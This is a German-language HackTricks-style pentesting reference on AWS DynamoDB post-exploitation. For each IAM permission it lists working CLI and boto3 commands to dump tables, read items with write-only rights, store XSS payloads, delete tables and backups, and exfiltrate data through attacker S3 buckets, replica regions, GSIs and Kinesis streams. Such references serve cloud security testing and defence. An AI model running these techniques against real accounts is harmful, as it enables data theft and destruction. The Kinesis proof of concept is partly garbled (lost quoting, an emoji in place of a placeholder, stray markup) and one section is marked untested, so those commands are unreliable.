22 KiB
AWS - DynamoDB Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
DynamoDB
Für weitere Informationen siehe:
{{#ref}} ../aws-services/aws-dynamodb-enum.md {{#endref}}
dynamodb:BatchGetItem
Ein attacker mit diesen Berechtigungen kann items aus Tabellen anhand des Primärschlüssels abrufen (man kann nicht einfach alle Daten der Tabelle anfordern). Das bedeutet, dass du die Primärschlüssel kennen musst (du kannst diese erhalten, indem du die Tabellen-Metadaten abrufst (describe-table)).
{{#tabs }} {{#tab name="json file" }}
aws dynamodb batch-get-item --request-items file:///tmp/a.json
// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}
{{#endtab }}
{{#tab name="inline" }}
aws dynamodb batch-get-item \
--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
--region <region>
{{#endtab }} {{#endtabs }}
Mögliche Auswirkung: Indirekte privesc durch Auffinden sensibler Informationen in der Tabelle
dynamodb:GetItem
Ähnlich zu den vorherigen Berechtigungen ermöglicht diese einem potenziellen Angreifer, Werte aus nur einer Tabelle zu lesen, sofern der Primärschlüssel des Eintrags zum Abrufen bekannt ist:
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
// With a.json
{
"Id" : {
"N": "205"
}
}
Mit dieser Berechtigung ist es auch möglich, die Methode transact-get-items wie folgt zu verwenden:
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json
// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]
Potentielle Auswirkungen: Indirekte privesc durch das Auffinden sensibler Informationen in der Tabelle
dynamodb:Query
Ähnlich wie bei den vorherigen Berechtigungen erlaubt diese einem potenziellen Angreifer, Werte aus nur einer Tabelle zu lesen, sofern der Primärschlüssel des abzurufenden Eintrags vorliegt. Es ermöglicht die Verwendung eines Teils der Vergleichsoperatoren, aber der einzige Vergleich, der mit dem Primärschlüssel (der vorhanden sein muss) erlaubt ist, ist "EQ", sodass man nicht per Vergleich die gesamte Datenbank in einer Anfrage erhalten kann.
{{#tabs }} {{#tab name="json file" }}
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}
{{#endtab }}
{{#tab name="inline" }}
aws dynamodb query \
--table-name TargetTable \
--key-condition-expression "AttributeName = :value" \
--expression-attribute-values '{":value":{"S":"TargetValue"}}' \
--region <region>
{{#endtab }} {{#endtabs }}
Mögliche Auswirkungen: Indirekte privesc durch Auffinden sensibler Informationen in der Tabelle
dynamodb:Scan
Mit dieser Berechtigung können Sie die gesamte Tabelle einfach dumpen.
aws dynamodb scan --table-name <t_name> #Get data inside the table
Mögliche Auswirkung: Indirekte privesc durch das Auffinden sensibler Informationen in der Tabelle
dynamodb:PartiQLSelect
Mit dieser Berechtigung können Sie die gesamte Tabelle einfach dumpen.
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
Diese Berechtigung erlaubt außerdem, batch-execute-statement wie folgt auszuführen:
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
aber du musst den Primärschlüssel mit einem Wert angeben, daher ist das nicht sehr nützlich.
Mögliche Auswirkungen: Indirektes privesc durch das Auffinden sensibler Informationen in der Tabelle
dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)
Diese Berechtigung ermöglicht einem Angreifer, die gesamte Tabelle in einen S3-Bucket seiner Wahl zu exportieren:
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>
Beachte, dass dafür die Tabelle point-in-time-recovery aktiviert sein muss. Du kannst prüfen, ob die Tabelle das hat mit:
aws dynamodb describe-continuous-backups \
--table-name <tablename>
Wenn es nicht aktiviert ist, müssen Sie es aktivieren und dafür benötigen Sie die dynamodb:ExportTableToPointInTime-Berechtigung:
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
Mögliche Auswirkungen: Indirektes privesc durch Auffinden sensibler Informationen in der Tabelle
dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)
Mit diesen Berechtigungen könnte ein Angreifer eine neue Tabelle aus einem Backup erstellen (oder sogar ein Backup erstellen, um es anschließend in einer anderen Tabelle wiederherzustellen). Dann könnte er mit den notwendigen Berechtigungen Informationen aus den Backups einsehen, die nicht mehr in der Produktions-Tabelle vorhanden sind.
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>
Potentielle Auswirkung: Indirect privesc durch Auffinden sensibler Informationen in der Tabellensicherung
dynamodb:PutItem
Diese Berechtigung erlaubt Benutzern, ein neues Item in die Tabelle einzufügen oder ein vorhandenes Item durch ein neues Item zu ersetzen. Wenn bereits ein Item mit demselben Primärschlüssel existiert, wird das gesamte Item durch das neue Item ersetzt. Existiert der Primärschlüssel nicht, wird ein neues Item mit dem angegebenen Primärschlüssel erstellt.
{{#tabs }} {{#tab name="XSS Example" }}
## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S": "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}
{{#endtab }}
{{#tab name="AI Example" }}
aws dynamodb put-item \
--table-name ExampleTable \
--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
--region <region>
{{#endtab }} {{#endtabs }}
Potentielle Auswirkungen: Ausnutzung weiterer Schwachstellen/bypasses, da dadurch Daten in einer DynamoDB-Tabelle hinzugefügt oder geändert werden können
dynamodb:UpdateItem
Diese Berechtigung erlaubt Benutzern, vorhandene Attribute eines Items zu ändern oder einem Item neue Attribute hinzuzufügen. Sie ersetzt nicht das gesamte Item; sie aktualisiert nur die angegebenen Attribute. Wenn der Primärschlüssel nicht in der Tabelle existiert, wird die Operation ein neues Item erstellen mit dem angegebenen Primärschlüssel und die in der Update-Expression angegebenen Attribute setzen.
{{#tabs }} {{#tab name="XSS Example" }}
## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}
{{#endtab }}
{{#tab name="AI Example" }}
aws dynamodb update-item \
--table-name ExampleTable \
--key '{"Id": {"S": "1"}}' \
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
--region <region>
{{#endtab }} {{#endtabs }}
Potentielle Auswirkungen: Ausnutzung weiterer vulnerabilities/bypasses durch die Möglichkeit, Daten in einer DynamoDB-Tabelle hinzuzufügen/zu ändern
dynamodb:DeleteTable
Ein Angreifer mit dieser Berechtigung kann eine DynamoDB-Tabelle löschen, was zu Datenverlust führt.
aws dynamodb delete-table \
--table-name TargetTable \
--region <region>
Mögliche Auswirkungen: Datenverlust und Unterbrechung von Diensten, die von der gelöschten Tabelle abhängen.
dynamodb:DeleteBackup
Ein Angreifer mit dieser Berechtigung kann ein DynamoDB-Backup löschen, was im Falle eines Disaster-Recovery-Szenarios potenziell zu Datenverlust führen kann.
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>
Potential impact: Datenverlust und Unfähigkeit, im Disaster-Recovery-Fall aus einem Backup wiederherzustellen.
dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords
Note
TODO: Prüfen, ob das tatsächlich funktioniert
Ein Angreifer mit diesen Berechtigungen kann einen Stream auf einer DynamoDB-Tabelle aktivieren, die Tabelle aktualisieren, damit Änderungen gestreamt werden, und dann auf den Stream zugreifen, um Änderungen an der Tabelle in Echtzeit zu überwachen. Dies erlaubt dem Angreifer, Datenänderungen zu überwachen und zu exfiltrieren, was möglicherweise zu data leakage führt.
- Einen Stream auf einer DynamoDB-Tabelle aktivieren:
aws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
- Beschreibe den Stream, um die ARN und andere Details zu erhalten:
aws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
- Erhalte den Shard-Iterator mithilfe der Stream-ARN:
aws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
Verwende den shard iterator, um auf den stream zuzugreifen und exfiltrate data from the stream:
aws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>
Potential impact: Echtzeit-Überwachung und Datenabfluss der Änderungen an der DynamoDB-Tabelle.
Read items via dynamodb:UpdateItem and ReturnValues=ALL_OLD
Ein Angreifer mit nur dynamodb:UpdateItem auf einer Tabelle kann Items lesen, ohne eine der üblichen Lese-Berechtigungen (GetItem/Query/Scan), indem er ein harmloses Update durchführt und --return-values ALL_OLD anfragt. DynamoDB gibt das vollständige Vor-Update-Abbild des Items im Feld Attributes der Antwort zurück (dies verbraucht keine RCUs).
- Minimale Berechtigungen:
dynamodb:UpdateItemauf der Zieltabelle/Key. - Voraussetzungen: Sie müssen den Primärschlüssel des Items kennen.
Beispiel (fügt ein harmloses Attribut hinzu und exfiltrates das vorherige Item in der Antwort):
aws dynamodb update-item \
--table-name <TargetTable> \
--key '{"<PKName>":{"S":"<PKValue>"}}' \
--update-expression 'SET #m = :v' \
--expression-attribute-names '{"#m":"exfil_marker"}' \
--expression-attribute-values '{":v":{"S":"1"}}' \
--return-values ALL_OLD \
--region <region>
Die CLI-Antwort enthält einen Attributes-Block, der das vollständige vorherige Item (alle Attribute) enthält und damit effektiv eine Leseprimitive aus reinem Schreibzugriff bereitstellt.
Potentielle Auswirkungen: Beliebige Items aus einer Tabelle mit nur Schreibberechtigungen lesen, wodurch die Exfiltration sensibler Daten möglich wird, wenn Primärschlüssel bekannt sind.
dynamodb:UpdateTable (replica-updates) | dynamodb:CreateTableReplica
Heimliche Exfiltration durch Hinzufügen einer neuen Replica-Region zu einer DynamoDB Global Table (version 2019.11.21). Kann ein principal eine regionale Replik hinzufügen, wird die gesamte Tabelle in die vom Angreifer gewählte Region repliziert, von der aus der Angreifer alle Items lesen kann.
{{#tabs }} {{#tab name="PoC (default DynamoDB-managed KMS)" }}
# Add a new replica Region (from primary Region)
aws dynamodb update-table \
--table-name <TableName> \
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
--region <primary-region>
# Wait until the replica table becomes ACTIVE in the replica Region
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'
# Exfiltrate by reading from the replica Region
aws dynamodb scan --table-name <TableName> --region <replica-region>
{{#endtab }} {{#tab name="PoC (customer-managed KMS)" }}
# Specify the CMK to use in the replica Region
aws dynamodb update-table \
--table-name <TableName> \
--replica-updates '[{"Create": {"RegionName": "<replica-region>", "KMSMasterKeyId": "arn:aws:kms:<replica-region>:<account-id>:key/<cmk-id>"}}]' \
--region <primary-region>
{{#endtab }} {{#endtabs }}
Berechtigungen: dynamodb:UpdateTable (mit replica-updates) oder dynamodb:CreateTableReplica auf der Ziel-Tabelle. Wenn in der Replik ein CMK verwendet wird, können KMS-Berechtigungen für diesen Schlüssel erforderlich sein.
Mögliche Auswirkungen: Vollständige Tabellenreplikation in eine von einem Angreifer kontrollierte Region, was zu heimlicher Datenexfiltration führt.
dynamodb:TransactWriteItems (Lesen via fehlgeschlagene Bedingung + ReturnValuesOnConditionCheckFailure=ALL_OLD)
Ein Angreifer mit transaktionalen Schreibberechtigungen kann die vollständigen Attribute eines bestehenden Items exfiltrieren, indem er ein Update innerhalb von TransactWriteItems durchführt, das absichtlich eine ConditionExpression fehlschlagen lässt, während ReturnValuesOnConditionCheckFailure=ALL_OLD gesetzt ist. Im Fehlerfall fügt DynamoDB die vorherigen Attribute in die Gründe für die Transaktionsstornierung ein und verwandelt damit effektiv nur-Schreibzugriff in Lesezugriff auf die angezielten Schlüssel.
{{#tabs }} {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
# Create the transaction input (list form for --transact-items)
cat > /tmp/tx_items.json << 'JSON'
[
{
"Update": {
"TableName": "<TableName>",
"Key": {"<PKName>": {"S": "<PKValue>"}},
"UpdateExpression": "SET #m = :v",
"ExpressionAttributeNames": {"#m": "marker"},
"ExpressionAttributeValues": {":v": {"S": "x"}},
"ConditionExpression": "attribute_not_exists(<PKName>)",
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
}
}
]
JSON
# Execute. Newer AWS CLI versions support returning cancellation reasons
aws dynamodb transact-write-items \
--transact-items file:///tmp/tx_items.json \
--region <region> \
--return-cancellation-reasons
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item
{{#endtab }} {{#tab name="PoC (boto3)" }}
import boto3
c=boto3.client('dynamodb',region_name='<region>')
try:
c.transact_write_items(TransactItems=[{ 'Update': {
'TableName':'<TableName>',
'Key':{'<PKName>':{'S':'<PKValue>'}},
'UpdateExpression':'SET #m = :v',
'ExpressionAttributeNames':{'#m':'marker'},
'ExpressionAttributeValues':{':v':{'S':'x'}},
'ConditionExpression':'attribute_not_exists(<PKName>)',
'ReturnValuesOnConditionCheckFailure':'ALL_OLD'}}])
except c.exceptions.TransactionCanceledException as e:
print(e.response['CancellationReasons'][0]['Item'])
{{#endtab }} {{#endtabs }}
Berechtigungen: dynamodb:TransactWriteItems auf der Ziel-Tabelle (und dem zugrunde liegenden Item). Es sind keine Lese-Berechtigungen erforderlich.
Mögliche Auswirkungen: Beliebige Items (per Primärschlüssel) aus einer Tabelle lesen, indem nur transaktionale Schreibrechte über die zurückgegebenen Abbruchgründe verwendet werden.
dynamodb:UpdateTable + dynamodb:UpdateItem + dynamodb:Query on GSI
Umgehung von Leseeinschränkungen, indem man einen Global Secondary Index (GSI) mit ProjectionType=ALL auf einem Attribut mit niedriger Entropie erstellt, dieses Attribut über alle Items hinweg auf einen konstanten Wert setzt und dann den Index per Query abruft, um die vollständigen Items zu erhalten. Das funktioniert selbst dann, wenn Query/Scan auf der Basistabelle verweigert wird, solange Sie den Index-ARN abfragen können.
- Minimale Berechtigungen:
dynamodb:UpdateTableauf der Ziel-Tabelle (um den GSI mitProjectionType=ALLzu erstellen).dynamodb:UpdateItemauf den Schlüsseln der Ziel-Tabelle (um das indizierte Attribut bei jedem Item zu setzen).dynamodb:Queryauf die Index-Ressourcen-ARN (arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>).
Schritte (PoC in us-east-1):
# 1) Create table and seed items (without the future GSI attribute)
aws dynamodb create-table --table-name HTXIdx \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
for i in 1 2 3 4 5; do \
aws dynamodb put-item --table-name HTXIdx \
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
--region us-east-1; done
# 2) Add GSI on attribute X with ProjectionType=ALL
aws dynamodb update-table --table-name HTXIdx \
--attribute-definitions AttributeName=X,AttributeType=S \
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
--region us-east-1
# Wait for index to become ACTIVE
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'
# 3) Set X="dump" for each item (only UpdateItem on known keys)
for i in 1 2 3 4 5; do \
aws dynamodb update-item --table-name HTXIdx \
--key "{\"id\":{\"S\":\"$i\"}}" \
--update-expression 'SET #x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1; done
# 4) Query the index by the constant value to retrieve full items
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
--key-condition-expression '#x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1
Potential Impact: Full table exfiltration durch Abfragen eines neu erstellten GSI, der alle Attribute projiziert, selbst wenn Lese-APIs der Basistabelle verweigert werden.
dynamodb:EnableKinesisStreamingDestination (Continuous exfiltration via Kinesis Data Streams)
Ausnutzen von DynamoDB Kinesis streaming destinations, um Änderungen aus einer Tabelle kontinuierlich in einen vom Angreifer kontrollierten Kinesis Data Stream zu exfiltrate. Nach Aktivierung wird jedes INSERT/MODIFY/REMOVE-Ereignis nahezu in Echtzeit an den Stream weitergeleitet, ohne dass Lese-Berechtigungen auf der Tabelle erforderlich sind.
Minimale Berechtigungen (Angreifer):
dynamodb:EnableKinesisStreamingDestinationauf der Ziel-Tabelle- Optional
dynamodb:DescribeKinesisStreamingDestination/dynamodb:DescribeTable, um den Status zu überwachen - Lese-Berechtigungen auf dem vom Angreifer kontrollierten Kinesis-Stream, um Records zu konsumieren:
kinesis:ListShards,kinesis:GetShardIterator,kinesis:GetRecords
PoC (us-east-1)
```bash # 1) Prepare: create a table and seed one item aws dynamodb create-table --table-name HTXKStream \ --attribute-definitions AttributeName=id,AttributeType=S \ --key-schema AttributeName=id,KeyType=HASH \ --billing-mode PAY_PER_REQUEST --region us-east-1 aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1 aws dynamodb put-item --table-name HTXKStream \ --item file:///tmp/htx_item1.json --region us-east-1 # /tmp/htx_item1.json # {"id":{"S":"a1"},"secret":{"S":"s-1"}}2) Create attacker Kinesis Data Stream
aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1 aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1
3) Enable the DynamoDB -> Kinesis streaming destination
STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil
--region us-east-1 --query StreamDescriptionSummary.StreamARN --output text)
aws dynamodb enable-kinesis-streaming-destination
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1
Optionally wait until ACTIVE
aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream
--region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus
4) Generate changes on the table
aws dynamodb put-item --table-name HTXKStream
--item file:///tmp/htx_item2.json --region us-east-1
/tmp/htx_item2.json
{"id":{"S":"a2"},"secret":{"S":"s-2"}}
aws dynamodb update-item --table-name HTXKStream
--key file:///tmp/htx_key_a1.json
--update-expression "SET #i = :v"
--expression-attribute-names {#i:info}
--expression-attribute-values {✌️{S:updated}}
--region us-east-1
/tmp/htx_key_a1.json -> {"id":{"S":"a1"}}
5) Consume from Kinesis to observe DynamoDB images
SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1
--query Shards[0].ShardId --output text)
IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD"
--shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text)
aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json
Decode one record (Data is base64-encoded)
jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq .
6) Cleanup (recommended)
aws dynamodb disable-kinesis-streaming-destination
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
</details>
**Potentielle Auswirkungen:** Kontinuierliche, nahezu in Echtzeit exfiltration von Tabellenänderungen zu einem vom Angreifer kontrollierten Kinesis-Stream ohne direkte Leseoperationen auf der Tabelle.
{{#include ../../../banners/hacktricks-training.md}}